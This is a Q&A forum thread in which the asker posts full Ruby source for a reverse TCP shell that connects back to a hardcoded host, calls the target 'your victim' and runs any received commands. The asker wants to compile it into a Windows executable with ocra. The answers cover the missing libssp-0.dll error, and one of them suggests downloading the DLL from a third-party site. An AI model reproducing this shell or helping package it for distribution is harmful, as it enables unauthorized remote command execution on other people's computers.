Ruby compile with ocra error - libssp-0.dll not found - ruby

Question

I'm trying to compile a simple reverse TCP shell written in ruby with ocra.
The code is pretty simple:
#!/usr/bin/env ruby
require 'socket'
require 'open3'
#Remote Host IP
RHOST = "192.168.197.23"
#Remote Host Port
PORT = "6969"
#Tries to connect every 5 seconds
begin
sock = TCPSocket.new "#{RHOST}","#{PORT}"
sock.puts "You are connected to your victim"
rescue
puts "Retrying..."
sleep 5
retry
end
#Runs the commands you type and sends you back the stdout and stderr.
begin
while line = sock.gets && line
Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
IO.copy_stream(stdout_and_stderr, sock)
end
end
rescue
retry
end
I build it with: ocra RevShell.rb --verbose
I get no error messages but whenever I try to run the .exe I get the following error: "C:\Users\Andrea\AppData\Local\Temp\ocrE30.tmp\bin\ruby_builtin_dlls\libssp-0.dll not found"
Am I missing something? Ocra should check the needed requirements by itself adding it to the exe by I still miss this dll.
Thanks for your help.

Answer 1

Maybe you don't have the libssp-0.dll file installed. You can download it from https://www.dll-files.com/libssp-0.dll.html then placing the file where the error says.

Answer 2

Use --dll ruby_builtin_dlls\libssp-0.dll.
See https://github.com/larsch/ocra/issues/168 for more details.

Answer 3

I faced the same problem with Ruby 2.6 and 2.7 (x64) installed by RubyInstaller.
In my case, libssp-0.dll surely exists at the ruby_builtin_dlls directory, but somehow it was not included in the compiled exe while other dlls in the same directory are all included.
For time being, I could evade this problem by using (x86) version of Ruby 2.7.